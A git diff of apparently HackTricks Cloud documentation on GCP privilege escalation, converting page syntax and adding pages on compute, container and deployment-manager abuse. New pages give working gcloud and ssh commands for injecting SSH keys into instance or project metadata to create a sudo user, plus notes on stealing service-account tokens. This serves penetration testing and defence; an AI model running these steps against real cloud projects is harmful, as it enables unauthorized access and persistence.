 ### Write Access to the Composer bucket
 
@@ -131,9 +110,9 @@ All the components of a composer environments (DAGs, plugins and data) are store
 
 Get more info about this attack in:
 
-{% content-ref url="gcp-storage-privesc.md" %}
-[gcp-storage-privesc.md](gcp-storage-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+gcp-storage-privesc.md
+{{#endref}}
 
 ### Import Plugins
 
@@ -143,17 +122,4 @@ TODO: Check what is possible to compromise by uploading plugins
 
 TODO: Check what is possible to compromise by uploading data
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md
similarity index 56%
rename from pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md
rename to src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md
index 2805df582..774b0c3ff 100644
--- a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md
@@ -1,45 +1,31 @@
 # GCP - Compute Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Compute
 
 For more information about Compute and VPC (netowork) in GCP check:
 
-{% content-ref url="../../gcp-services/gcp-compute-instances-enum/" %}
-[gcp-compute-instances-enum](../../gcp-services/gcp-compute-instances-enum/)
-{% endcontent-ref %}
+{{#ref}}
+../../gcp-services/gcp-compute-instances-enum/
+{{#endref}}
 
-{% hint style="danger" %}
-Note that to perform all the privilege escalation atacks that require to modify the metadata of the instance (like adding new users and SSH keys) it's **needed that you have `actAs` permissions over the SA attached to the instance**, even if the SA is already attached!
-{% endhint %}
+> [!CAUTION]
+> Note that to perform all the privilege escalation atacks that require to modify the metadata of the instance (like adding new users and SSH keys) it's **needed that you have `actAs` permissions over the SA attached to the instance**, even if the SA is already attached!
 
 ### `compute.projects.setCommonInstanceMetadata`
 
 With that permission you can **modify** the **metadata** information of an **instance** and change the **authorized keys of a user**, or **create** a **new user with sudo** permissions. Therefore, you will be able to exec via SSH into any VM instance and steal the GCP Service Account the Instance is running with.\
 Limitations:
 
-* Note that GCP Service Accounts running in VM instances by default have a **very limited scope**
-* You will need to be **able to contact the SSH** server to login
+- Note that GCP Service Accounts running in VM instances by default have a **very limited scope**
+- You will need to be **able to contact the SSH** server to login
 
 For more information about how to exploit this permission check:
 
-{% content-ref url="gcp-add-custom-ssh-metadata.md" %}
-[gcp-add-custom-ssh-metadata.md](gcp-add-custom-ssh-metadata.md)
-{% endcontent-ref %}
+{{#ref}}
+gcp-add-custom-ssh-metadata.md
+{{#endref}}
 
 You could aslo perform this attack by adding new startup-script and rebooting the instance:
 
@@ -79,17 +65,15 @@ gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE
 
 If **OSLogin is enabled in the instance**, with this permission you can just run **`gcloud compute ssh [INSTANCE]`** and connect to the instance. You **won't have root privs** inside the instance.
 
-{% hint style="success" %}
-In order to successfully login with this permission inside the VM instance, you need to have the `iam.serviceAccounts.actAs` permission over the SA atatched to the VM.
-{% endhint %}
+> [!TIP]
+> In order to successfully login with this permission inside the VM instance, you need to have the `iam.serviceAccounts.actAs` permission over the SA atatched to the VM.
 
 ### **`compute.instances.osAdminLogin`**
 
 If **OSLogin is enabled in the instanc**e, with this permission you can just run **`gcloud compute ssh [INSTANCE]`** and connect to the instance. You will have **root privs** inside the instance.
 
-{% hint style="success" %}
-In order to successfully login with this permission inside the VM instance, you need to have the `iam.serviceAccounts.actAs` permission over the SA atatched to the VM.
-{% endhint %}
+> [!TIP]
+> In order to successfully login with this permission inside the VM instance, you need to have the `iam.serviceAccounts.actAs` permission over the SA atatched to the VM.
 
 ### `compute.instances.create`,`iam.serviceAccounts.actAs, compute.disks.create`, `compute.instances.create`, `compute.instances.setMetadata`, `compute.instances.setServiceAccount`, `compute.subnetworks.use`, `compute.subnetworks.useExternalIp`
 
@@ -106,7 +90,6 @@ Note that at the moment you **don't need `actAs` permission** over the SA attach
 If you want to manually exploit this you will need to create either a [**patch job**](https://github.com/rek7/patchy/blob/main/pkg/engine/patches/patch_job.json) **or** [**deployment**](https://github.com/rek7/patchy/blob/main/pkg/engine/patches/patch_deployment.json)**.**\
 For a patch job run:
 
-{% code overflow="wrap" %}
 ```python
 cat > /tmp/patch-job.sh <<EOF
 #!/bin/bash
@@ -125,7 +108,6 @@ gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
   --display-name="Managed Security Update" \
   --duration=300s
 ```
-{% endcode %}
 
 To deploy a patch deployment:
 
@@ -155,25 +137,12 @@ Following this link you find some [**ideas to try to bypass access scopes**](../
 
 ### Local Privilege Escalation in GCP Compute instance
 
-{% content-ref url="../gcp-local-privilege-escalation-ssh-pivoting.md" %}
-[gcp-local-privilege-escalation-ssh-pivoting.md](../gcp-local-privilege-escalation-ssh-pivoting.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-local-privilege-escalation-ssh-pivoting.md
+{{#endref}}
 
 ## References
 
-* [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
+- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md
new file mode 100644
index 000000000..f0d3982df
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md
@@ -0,0 +1,100 @@
+# GCP - Add Custom SSH Metadata
+
+## GCP - Add Custom SSH Metadata
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### Modifying the metadata <a href="#modifying-the-metadata" id="modifying-the-metadata"></a>
+
+Metadata modification on an instance could lead to **significant security risks if an attacker gains the necessary permissions**.
+
+#### **Incorporation of SSH Keys into Custom Metadata**
+
+On GCP, **Linux systems** often execute scripts from the [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts). A critical component of this is the [accounts daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts), which is designed to **regularly check** the instance metadata endpoint for **updates to the authorized SSH public keys**.
+
+Therefore, if an attacker can modify custom metadata, he could make the the daemon find a new public key, which will processed and **integrated into the local system**. The key will be added into `~/.ssh/authorized_keys` file of an **existing user or potentially creating a new user with `sudo` privileges**, depending on the key's format. And the attacker will be able to compromise the host.
+
+#### **Add SSH key to existing privileged user**
+
+1. **Examine Existing SSH Keys on the Instance:**
+
+   - Execute the command to describe the instance and its metadata to locate existing SSH keys. The relevant section in the output will be under `metadata`, specifically the `ssh-keys` key.
+
+     ```bash
+     gcloud compute instances describe [INSTANCE] --zone [ZONE]
+     ```
+
+   - Pay attention to the format of the SSH keys: the username precedes the key, separated by a colon.
+
+2. **Prepare a Text File for SSH Key Metadata:**
+   - Save the details of usernames and their corresponding SSH keys into a text file named `meta.txt`. This is essential for preserving the existing keys while adding new ones.
+3. **Generate a New SSH Key for the Target User (`alice` in this example):**
+
+   - Use the `ssh-keygen` command to generate a new SSH key, ensuring that the comment field (`-C`) matches the target username.
+
+     ```bash
+     ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
+     ```
+
+   - Add the new public key to `meta.txt`, mimicking the format found in the instance's metadata.
+
+4. **Update the Instance's SSH Key Metadata:**
+
+   - Apply the updated SSH key metadata to the instance using the `gcloud compute instances add-metadata` command.
+
+     ```bash
+     gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
+     ```
+
+5. **Access the Instance Using the New SSH Key:**
+
+   - Connect to the instance with SSH using the new key, accessing the shell in the context of the target user (`alice` in this example).
+
+     ```bash
+     ssh -i ./key alice@localhost
+     sudo id
+     ```
+
+#### **Create a new privileged user and add a SSH key**
+
+If no interesting user is found, it's possible to create a new one which will be given `sudo` privileges:
+
+```bash
+# define the new account username
+NEWUSER="definitelynotahacker"
+
+# create a key
+ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""
+
+# create the input meta file
+NEWKEY="$(cat ./key.pub)"
+echo "$NEWUSER:$NEWKEY" > ./meta.txt
+
+# update the instance metadata
+gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt
+
+# ssh to the new account
+ssh -i ./key "$NEWUSER"@localhost
+```
+
+#### SSH keys at project level <a href="#sshing-around" id="sshing-around"></a>
+
+It's possible to broaden the reach of SSH access to multiple Virtual Machines (VMs) in a cloud environment by **applying SSH keys at the project level**. This approach allows SSH access to any instance within the project that hasn't explicitly blocked project-wide SSH keys. Here's a summarized guide:
+
+1. **Apply SSH Keys at the Project Level:**
+
+   - Use the `gcloud compute project-info add-metadata` command to add SSH keys from `meta.txt` to the project's metadata. This action ensures that the SSH keys are recognized across all VMs in the project, unless a VM has the "Block project-wide SSH keys" option enabled.
+
+     ```bash
+     gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
+     ```
+
+2. **SSH into Instances Using Project-Wide Keys:**
+   - With project-wide SSH keys in place, you can SSH into any instance within the project. Instances that do not block project-wide keys will accept the SSH key, granting access.
+   - A direct method to SSH into an instance is using the `gcloud compute ssh [INSTANCE]` command. This command uses your current username and the SSH keys set at the project level to attempt access.
+
+## References
+
+- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
new file mode 100644
index 000000000..0d19418a2
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
@@ -0,0 +1,91 @@
+# GCP - Container Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## container
+
+### `container.clusters.get`
+
+This permission allows to **gather credentials for the Kubernetes cluster** using something like:
+
+```bash
+gcloud container clusters get-credentials <cluster_name> --zone <zone>
+```
+
+Without extra permissions, the credentials are pretty basic as you can **just list some resource**, but hey are useful to find miss-configurations in the environment.
+
+> [!NOTE]
+> Note that **kubernetes clusters might be configured to be private**, that will disallow that access to the Kube-API server from the Internet.
+
+If you don't have this permission you can still access the cluster, but you need to **create your own kubectl config file** with the clusters info. A new generated one looks like this:
+
+```yaml
+apiVersion: v1
+clusters:
+  - cluster:
+      certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUVMRENDQXBTZ0F3SUJBZ0lRRzNaQmJTSVlzeVRPR1FYODRyNDF3REFOQmdrcWhraUc5dzBCQVFzRkFEQXYKTVMwd0t3WURWUVFERXlRMk9UQXhZVEZoWlMweE56ZGxMVFF5TkdZdE9HVmhOaTAzWVdFM01qVmhNR05tTkdFdwpJQmNOTWpJeE1qQTBNakl4T1RJMFdoZ1BNakExTWpFeE1qWXlNekU1TWpSYU1DOHhMVEFyQmdOVkJBTVRKRFk1Ck1ERmhNV0ZsTFRFM04yVXROREkwWmkwNFpXRTJMVGRoWVRjeU5XRXdZMlkwWVRDQ0FhSXdEUVlKS29aSWh2Y04KQVFFQkJRQURnZ0dQQURDQ0FZb0NnZ0dCQU00TWhGemJ3Y3VEQXhiNGt5WndrNEdGNXRHaTZmb0pydExUWkI4Rgo5TDM4a2V2SUVWTHpqVmtoSklpNllnSHg4SytBUHl4RHJQaEhXMk5PczFNMmpyUXJLSHV6M0dXUEtRUmtUWElRClBoMy9MMDVtbURwRGxQK3hKdzI2SFFqdkE2Zy84MFNLakZjRXdKRVhZbkNMMy8yaFBFMzdxN3hZbktwTWdKVWYKVnoxOVhwNEhvbURvOEhUN2JXUTJKWTVESVZPTWNpbDhkdDZQd3FUYmlLNjJoQzNRTHozNzNIbFZxaiszNy90RgpmMmVwUUdFOG90a0VVOFlHQ3FsRTdzaVllWEFqbUQ4bFZENVc5dk1RNXJ0TW8vRHBTVGNxRVZUSzJQWk1rc0hyCmMwbGVPTS9LeXhnaS93TlBRdW5oQ2hnRUJIZTVzRmNxdmRLQ1pmUFovZVI1Qk0vc0w1WFNmTE9sWWJLa2xFL1YKNFBLNHRMVmpiYVg1VU9zMUZIVXMrL3IyL1BKQ2hJTkRaVTV2VjU0L1c5NWk4RnJZaUpEYUVGN0pveXJvUGNuMwpmTmNjQ2x1eGpOY1NsZ01ISGZKRzZqb0FXLzB0b2U3ek05RHlQOFh3NW44Zm5lQm5aVTFnYXNKREZIYVlZbXpGCitoQzFETmVaWXNibWNxOGVPVG9LOFBKRjZ3SURBUUFCbzBJd1FEQU9CZ05WSFE4QkFmOEVCQU1DQWdRd0R3WUQKVlIwVEFRSC9CQVV3QXdFQi96QWRCZ05WSFE0RUZnUVU5UkhvQXlxY3RWSDVIcmhQZ1BjYzF6Sm9kWFV3RFFZSgpLb1pJaHZjTkFRRUxCUUFEZ2dHQkFLbnp3VEx0QlJBVE1KRVB4TlBNbmU2UUNqZDJZTDgxcC9oeVc1eWpYb2w5CllkMTRRNFVlVUJJVXI0QmJadzl0LzRBQ3ZlYUttVENaRCswZ2wyNXVzNzB3VlFvZCtleVhEK2I1RFBwUUR3Z1gKbkJLcFFCY1NEMkpvZ29tT3M3U1lPdWVQUHNrODVvdWEwREpXLytQRkY1WU5ublc3Z1VLT2hNZEtKcnhuYUVGZAprVVl1TVdPT0d4U29qVndmNUsyOVNCbGJ5YXhDNS9tOWkxSUtXV2piWnZPN0s4TTlYLytkcDVSMVJobDZOSVNqCi91SmQ3TDF2R0crSjNlSjZneGs4U2g2L28yRnhxZWFNdDladWw4MFk4STBZaGxXVmlnSFMwZmVBUU1NSzUrNzkKNmozOWtTZHFBYlhPaUVOMzduOWp2dVlNN1ZvQzlNUk1oYUNyQVNhR2ZqWEhtQThCdlIyQW5iQThTVGpQKzlSMQp6VWRpK3dsZ0V4bnFvVFpBcUVHRktuUTlQcjZDaDYvR0xWWStqYXhuR3lyUHFPYlpNZTVXUDFOUGs4NkxHSlhCCjc1elFvanEyRUpxanBNSjgxT0gzSkxOeXRTdmt4UDFwYklxTzV4QUV0OWxRMjh4N28vbnRuaWh1WmR6M0lCRU8KODdjMDdPRGxYNUJQd0hIdzZtKzZjUT09Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K
+      server: https://34.123.141.28
+    name: gke_security-devbox_us-central1_autopilot-cluster-1
+contexts:
+  - context:
+      cluster: gke_security-devbox_us-central1_autopilot-cluster-1
+      user: gke_security-devbox_us-central1_autopilot-cluster-1
+    name: gke_security-devbox_us-central1_autopilot-cluster-1
+current-context: gke_security-devbox_us-central1_autopilot-cluster-1
+kind: Config
+preferences: {}
+users:
+  - name: gke_security-devbox_us-central1_autopilot-cluster-1
+    user:
+      auth-provider:
+        config:
+          access-token: <access token>
+          cmd-args: config config-helper --format=json
+          cmd-path: gcloud
+          expiry: "2022-12-06T01:13:11Z"
+          expiry-key: "{.credential.token_expiry}"
+          token-key: "{.credential.access_token}"
+        name: gcp
+```
+
+### `container.roles.escalate` | `container.clusterRoles.escalate`
+
+**Kubernetes** by default **prevents** principals from being able to **create** or **update** **Roles** and **ClusterRoles** with **more permissions** that the ones the principal has. However, a **GCP** principal with that permissions will be **able to create/update Roles/ClusterRoles with more permissions** that ones he held, effectively bypassing the Kubernetes protection against this behaviour.
+
+**`container.roles.create`** and/or **`container.roles.update`** OR **`container.clusterRoles.create`** and/or **`container.clusterRoles.update`** respectively are **also** **necessary** to perform those privilege escalation actions.
+
+### `container.roles.bind` | `container.clusterRoles.bind`
+
+**Kubernetes** by default **prevents** principals from being able to **create** or **update** **RoleBindings** and **ClusterRoleBindings** to give **more permissions** that the ones the principal has. However, a **GCP** principal with that permissions will be **able to create/update RolesBindings/ClusterRolesBindings with more permissions** that ones he has, effectively bypassing the Kubernetes protection against this behaviour.
+
+**`container.roleBindings.create`** and/or **`container.roleBindings.update`** OR **`container.clusterRoleBindings.create`** and/or **`container.clusterRoleBindings.update`** respectively are also **necessary** to perform those privilege escalation actions.
+
+### `container.cronJobs.create` | `container.cronJobs.update` | `container.daemonSets.create` | `container.daemonSets.update` | `container.deployments.create` | `container.deployments.update` | `container.jobs.create` | `container.jobs.update` | `container.pods.create` | `container.pods.update` | `container.replicaSets.create` | `container.replicaSets.update` | `container.replicationControllers.create` | `container.replicationControllers.update` | `container.scheduledJobs.create` | `container.scheduledJobs.update` | `container.statefulSets.create` | `container.statefulSets.update`
+
+All these permissions are going to allow you to **create or update a resource** where you can **define** a **pod**. Defining a pod you can **specify the SA** that is going to be **attached** and the **image** that is going to be **run**, therefore you can run an image that is going to **exfiltrate the token of the SA to your server** allowing you to escalate to any service account.\
+For more information check:
+
+As we are in a GCP environment, you will also be able to **get the nodepool GCP SA** from the **metadata** service and **escalate privileges in GC**P (by default the compute SA is used).
+
+### `container.secrets.get` | `container.secrets.list`
+
+As [**explained in this page**, ](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#listing-secrets)with these permissions you can **read** the **tokens** of all the **SAs of kubernetes**, so you can escalate to them.
+
+### `container.pods.exec`
+
+With this permission you will be able to **exec into pods**, which gives you **access** to all the **Kubernetes SAs running in pods** to escalate privileges within K8s, but also you will be able to **steal** the **GCP Service Account** of the **NodePool**, **escalating privileges in GCP**.
+
+### `container.pods.portForward`
+
+As **explained in this page**, with these permissions you can **access local services** running in **pods** that might allow you to **escalate privileges in Kubernetes** (and in **GCP** if somehow you manage to talk to the metadata service)**.**
+
+### `container.serviceAccounts.createToken`
+
+Because of the **name** of the **permission**, it **looks like that it will allow you to generate tokens of the K8s Service Accounts**, so you will be able to **privesc to any SA** inside Kubernetes. However, I couldn't find any API endpoint to use it, so let me know if you find it.
+
+### `container.mutatingWebhookConfigurations.create` | `container.mutatingWebhookConfigurations.update`
+
+These permissions might allow you to escalate privileges in Kubernetes, but more probably, you could abuse them to **persist in the cluster**.\
+For more information [**follow this link**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#malicious-admission-controller).
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md
new file mode 100644
index 000000000..e90828d7e
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md
@@ -0,0 +1,29 @@
+# GCP - Deploymentmaneger Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## deploymentmanager
+
+### `deploymentmanager.deployments.create`
+
+This single permission lets you **launch new deployments** of resources into GCP with arbitrary service accounts. You could for example launch a compute instance with a SA to escalate to it.
+
+You could actually **launch any resource** listed in `gcloud deployment-manager types list`
+
+In the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) following[ **script**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/deploymentmanager.deployments.create.py) is used to deploy a compute instance, however that script won't work. Check a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/1-deploymentmanager.deployments.create.sh)**.**
+
+### `deploymentmanager.deployments.update`
+
+This is like the previous abuse but instead of creating a new deployment, you modifies one already existing (so be careful)
+
+Check a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/e-deploymentmanager.deployments.update.sh)**.**
+
+### `deploymentmanager.deployments.setIamPolicy`
+
+This is like the previous abuse but instead of directly creating a new deployment, you first give you that access and then abuses the permission as explained in the previous _deploymentmanager.deployments.create_ section.
+
+## References
+
+- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md
similarity index 77%
rename from pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md
rename to src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md
index ed0718452..bd601f58d 100644
--- a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md
@@ -1,27 +1,14 @@
 # GCP - IAM Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## IAM
 
 Find more information about IAM in:
 
-{% content-ref url="../gcp-services/gcp-iam-and-org-policies-enum.md" %}
-[gcp-iam-and-org-policies-enum.md](../gcp-services/gcp-iam-and-org-policies-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-services/gcp-iam-and-org-policies-enum.md
+{{#endref}}
 
 ### `iam.roles.update` (`iam.roles.get`)
 
@@ -116,9 +103,9 @@ The **iam.serviceAccounts.actAs permission** is like the **iam:PassRole permissi
 
 Impersonating a service account can be very useful to **obtain new and better privileges**. There are three ways in which you can [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
 
-* Authentication **using RSA private keys** (covered above)
-* Authorization **using Cloud IAM policies** (covered here)
-* **Deploying jobs on GCP services** (more applicable to the compromise of a user account)
+- Authentication **using RSA private keys** (covered above)
+- Authorization **using Cloud IAM policies** (covered here)
+- **Deploying jobs on GCP services** (more applicable to the compromise of a user account)
 
 ### `iam.serviceAccounts.getOpenIdToken`
 
@@ -143,28 +130,15 @@ curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
 
 Some services that support authentication via this kind of tokens are:
 
-* [Google Cloud Run](https://cloud.google.com/run/)
-* [Google Cloud Functions](https://cloud.google.com/functions/docs/)
-* [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
-* [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC)
+- [Google Cloud Run](https://cloud.google.com/run/)
+- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
+- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
+- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC)
 
 You can find an example on how to create and OpenID token behalf a service account [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
 
 ## References
 
-* [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
+- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md
similarity index 56%
rename from pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md
rename to src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md
